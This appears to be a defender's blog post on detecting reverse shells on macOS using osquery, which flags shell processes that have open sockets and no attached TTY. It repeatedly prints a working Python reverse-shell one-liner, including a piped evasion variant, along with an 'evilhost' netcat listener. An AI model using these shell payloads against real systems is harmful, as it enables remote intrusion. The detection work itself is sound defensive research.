Reverse Shell Detection

One challenge when it comes to building defenses for MacOS are the numerous scripting languages that come pre-installed with the operating system. While it may be convenient for developers, it provides attackers with a variety of methods for establishing persistence and bootstrapping connections to command and control servers.

Once attackers gain a foothold on systems, they frequently like to gain shell access by launching reverse shells. The benefits of this are well documented here. As you might expect, there are numerous ways to initiate these connections using native utilities such as:

• Bash
• Python
• Ruby
• Perl
• Java
• PHP
• Gawk (yes, even Gawk!)

Writing detection rules around the command line arguments feels clumsy and is easily circumvented. I wanted to find a detection technique that would be fairly comprehensive, hard to avoid, and would trigger few false positives.

For example, the following command can be used to initiate a reverse shell using Python:

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Using osquery, we could write a detection rule that might look something like:

osquery> SELECT * FROM processes WHERE cmdline LIKE '%AF_INET,socket.SOCK_STREAM%';
          pid = 35124
         name = Python
         path = /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
      cmdline = python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
        state = R
          cwd = /tmp/

However, this detection rule can be easily evaded by an attacker. For example, they could echo the command and pipe it to python (a technique that is employed heavily by Empyre):

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0);' | python`

Running the command in this fashion would cause the resulting process command line arguments just appear as “python”, thus breaking our detection rule. They could also just put the contents into a file and run it: $ python reverse_shell.py.

Components of a Reverse Shell

When I began researching potential detection techniques for reverse shells, I started by breaking down a reverse shell into a set of basic components. A reverse shell consists of:

• A shell to execute commands (usually /bin/sh or /bin/bash)
• A method for establishing an outbound network connection
• A method of redirecting stdin/stdout/stderr
• A (preferably native) utility to combine all of the former elements. Can be Bash/Ruby/etc.

Let’s analyze the Python reverse shell and break it down into these components:

# Import the libraries needed to make network connections and execute processes
import socket,subprocess,os  
# Build a socket that will be used for the outbound connection
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# Initiate a connection to a remote IP address
s.connect(("127.0.0.1",8080))
# Duplicate STDOUT (fd=0) to our socket file descriptor and close the original
os.dup2(s.fileno(),0)
# Duplicate STDIN (fd=1) to our socket file descriptor and close the original
os.dup2(s.fileno(),1)
# Duplicate STDERR (fd=2) to our socket file descriptor and close the original
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Without redirecting the I/O, the output of your commands would remain local to the host. As an exercise to understand how this works better, try removing one of those file descriptors and run the shell to see how the behavior changes without STDIN, STDOUT, or STDERR.

The Case of the Missing TTY

One thing nearly all reverse shells have in common is that they don’t attach to a TTY. TTYs provide enhanced features to the shell such as job control (background and foregrounding processes), auto-completion, and more.

Upon catching a reverse shell, you might see something like:

attacker@evilhost:~$ nc -lvk 5555
bash: no job control in this shell

That’s your hint that you don’t have a TTY attached to the shell. To verify, you can use the tty command:

attacker@evilhost:~$ tty
not a tty

Most articles that cover reverse shells and TTYs are concerned with helping attackers instantiate a TTY so that they can gain access to additional functionality like sudo, vi, ssh, and other commands that typically require a TTY.

However, we can use this lack of a TTY to our advantage as defenders. The vast majority of processes that run on a user’s computer are attached to TTYs and anything running without one is probably worth investigating further.

Detecting TTY-less Processes with Osquery

Consider the following two processes running simultaneously on a system:

1. $ python
2. $ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' | python`

Let’s do a basic inspection of these processes with osquery:

osquery> SELECT name, cmdline, cwd, parent, pid FROM processes where name="Python";
+--------+-------------------------------+------+--------+-------+
| name   | cmdline                       | cwd  | parent | pid   |
+--------+-------------------------------+------+--------+-------+
| Python | python                        | /tmp | 33466  | 37339 |
| Python | python                        | /tmp | 36350  | 37347 |
+--------+-------------------------------+------+--------+-------+

Both processes have a process name of “Python” and a cmdline value of “python”

The first process is simply the python interpreter whereas the second process is a reverse shell. Gaining introspection into what the second process is actually doing is actually quite tricky on MacOS. This is where osquery can provide additional context.

Osquery exposes a table called process_open_files. When we query the PID tied to the python interpreter, we see that the file descriptors for stdout/stdin/stderr are tied to a TTY in the process_open_files table:

osquery> SELECT * FROM process_open_files WHERE pid=37347;
+-------+----+--------------+
| pid   | fd | path         |
+-------+----+--------------+
| 37347 | 0  | /dev/ttys006 |
| 37347 | 1  | /dev/ttys006 |
| 37347 | 2  | /dev/ttys006 |
+-------+----+--------------+

This makes sense since we opened the Python interpreter on a terminal session that had a TTY attached to it. However, when we run the same query against the reverse shell command, we receive no results:

osquery> SELECT * FROM process_open_files WHERE pid=37339;
osquery>

I ended up reaching out to Twitter for a deeper understanding of why a TTY is not provided over the shell:

So when we boil it down, we are primarily interested in inspecting processes on MacOS that don’t have a TTY attached to them, have an associated socket, and are executing a scripting language or shell. That can be achieved with the following query:

Edit: Updated 4/3 to include parent cmdline resolution in the query.

SELECT
    DISTINCT(processes.pid),
    processes.parent,
    processes.name,
    processes.path,
    processes.cmdline,
    processes.cwd,
    processes.root,
    processes.uid,
    processes.gid,
    processes.start_time,
    process_open_sockets.remote_address,
    process_open_sockets.remote_port,
    (SELECT
        cmdline
    FROM
        processes AS parent_cmdline
    WHERE
        pid=processes.parent) AS parent_cmdline
FROM
    processes
JOIN
    process_open_sockets USING (pid)
LEFT OUTER JOIN
    process_open_files
        ON processes.pid = process_open_files.pid
WHERE
    (
        name='sh'
        OR name='bash'
    )
    AND process_open_files.pid IS NULL;

And the sample results:

osquery> SELECT DISTINCT(processes.pid), processes.parent, processes.name, processes.path, processes.cmdline, processes.cwd, processes.root, processes.uid, processes.gid, processes.start_time, process_open_sockets.remote_address, process_open_sockets.remote_port, (SELECT cmdline FROM processes AS parent_cmdline WHERE pid=processes.parent) AS parent_cmdline FROM processes JOIN process_open_sockets USING (pid) LEFT OUTER JOIN process_open_files ON processes.pid = process_open_files.pid WHERE (name='sh' OR name='bash') AND process_open_files.pid IS NULL;

           pid = 4849
        parent = 4848
          name = sh
          path = /bin/sh
       cmdline = /bin/sh -i
           cwd = /Users/user
          root =
           uid = 501
           gid = 20
    start_time = 549075
remote_address = 127.0.0.1
   remote_port = 5555
parent_cmdline = python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

With this query, you can detect all different types of shells that don’t have TTYs attached and have the potential to be malicious.

Please note that this is not a comprehensive way of detecting all reverse shells - a few different native shells (such as gawk-based ones) do actually open file descriptors and are not able to be detected using this technique.

References and Further Reading

• http://www.linusakesson.net/programming/tty/
• https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
• https://andreafortuna.org/cybersecurity/some-thoughts-about-reverse-shells/
• https://github.com/emptymonkey/revsh
• https://justaguyinphilly.wordpress.com/2011/09/04/tty-session-leader-terminal-controlling-terminal-stdout-and-stdin-foreground-and-background/